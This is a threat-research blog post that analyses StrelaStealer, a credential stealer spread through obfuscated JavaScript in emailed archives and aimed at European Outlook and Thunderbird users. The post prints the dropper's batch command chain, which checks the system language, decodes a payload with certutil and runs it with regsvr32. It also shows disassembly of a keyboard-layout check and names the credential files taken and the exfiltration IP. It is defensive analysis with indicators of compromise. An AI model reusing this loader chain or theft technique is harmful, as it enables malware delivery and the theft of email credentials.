StrelaStealer Resurgence: Tracking a JavaScript-Driven Credential Stealer Targeting Europe

Published: 2024-06-24 · Archived: 2026-04-05 18:34:18 UTC

The SonicWall Capture Labs threat research team has been tracking StrelaStealer for a long time. Recently, in the third week of June, we observed a huge spike in JavaScript spreading StrelaStealer. StrelaStealer specifically steals Outlook and Thunderbird email credentials. The infection chain looks like previous versions of StrelaStealer except major checks have been added to avoid infecting systems in Russia. We are continuing to observe its target regions limited to Poland, Spain, Italy and Germany.

The Initial infection vector is an obfuscated JavaScript file that is sent to the victim through emails in archive files. The JavaScript file drops a self-copy at *"C:\Users\<Username>"* location with random names like *"needlereportcreepy.bat"*. The bat file is then executed to check the language of the operating system and to exclude Russian users from infection by the stealer. Upon confirmation of non-Russian users using OSLanguage code "1049", the base64-encoded PE file is dropped in the same directory with a random name (here, *duckquixoticextra-small*) and no extension. This base64-encoded data is then decoded and a DLL with some random name (here, *bellpeeleight.ico*) is dropped. The DLL is then executed using regsvr32.exe.

```
cd userprofile &echo fieldlavishdirty
wmic path win32_operatingsystem get oslanguage | find /i "1049" &echo fieldlavishdirty
if not errorlevel 1 (exit) &echo fieldlavishdirty
findstr /V fieldlavishdirty "0" > duckquixoticextra-small
certutil -f -decode duckquixoticextra-small bellpeeleight.ico &echo fieldlavishdirty
powershell regsvr32 bellpeeleight.ico  &echo fieldlavishdirty
```

Checks for Russian OS Language

Executing dll using regsvr32

Figure 1: Checks for OSLanguage

The DLL has highly obfuscated code – the same as what we have observed in recent StrelaStealer binaries. This loader DLL then decrypts the actual PE file from its data section and injects it into the current process.

All the necessary APIs needed for stealer functionality are loaded dynamically. The stealer first checks for the keyboard layout of the system using the GetKeyboardLayout() API.

```
FF15 E8F70000          call qword ptr ds:[<&GetKeyboardLayout>]
C74424 20 07040A04     mov dword ptr ss:[rsp+20],40A:407
33C9                   xor ecx,ecx
48:8BD0                mov rdx,rax
C74424 24 0A0C0304     mov dword ptr ss:[rsp+24],403:C0A
B8 15040000            mov eax,415
C74424 28 2D041004     mov dword ptr ss:[rsp+28],410:42D
66:894424 2C           mov word ptr ss:[rsp+2C],ax
48:8D4424 20           lea rax,qword ptr ss:[rsp+20]
0F1F40 00              nop dword ptr ds:[rax],eax
66:3B10                cmp dx,word ptr ds:[rax]
74 15                  je 2431B7A
FFC1                   inc ecx
48:83C0 02             add rax,2
83F9 07                cmp ecx,7
72 F0                  jb 2431B60
```

Code	Language
40A	es-ES (Spain)
407	De-DE (Germany)
403	ca-ES (Spain)
C0A	Es-ES (Spain)
415	Pl-PL (Poland)
410	It-IT (Italy)
42D	Eu-ES (Spain)

Figure 2: Checks GetKeyboardLayout

It checks for multiple language codes including 0x0C0A(Spanish-Spain), 0x042D(Basque-Spain), 0x0415(Polish-Poland), 0x0403(Catalan-Spain), 0x040A(Spanish-Spain), 0x0410(Italian-Italy), 0x0407(German-Germany) to detect the geo location of the system.

The main stealing functionality starts with the Mozilla Thunderbird email client. It checks for the presence of *logins.json* and *key4.db* at the directory I*C:\Users\Jay\AppData\Roaming\Thunderbird\Profiles\"* . If found, the data is sent to the IP http://45.9.74[.]176/.

Next, it checks for the presence of the registry key *"SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\"*. The information about email accounts is stored in subfolders under this key. All of this information is retrieved by enumerating the registry key. The information is then sent to the same IP address.

More information about StrelaStealer can be found in our previous blog.

IOCs

SHA256:

0f069016bc5c9347099589c103c8617e716ad301c3b83b69b5ebd11ef623cf78

a4cd72aea29e992fcdf808370f3a7c9333458535b86c9a11a1fff20299f837e6

f2afca709e2973f2733887e401c903580e1ffe4d4ae6d7ea28cc5a6149ba4b96

2385a4dcf8076eb51ad6893624d36ba49beac92f1e681297afbb89cd5be46c57

b36fee8895bd828a42a166488b4a2574a232726d89153e3e37fe4382020f7800

00e7bdaa8ff895b3b82a0b9cc8ba1971d6401e9cf575ec44a5bc3adc6bfd0771

IPs

45.9.74[.]176
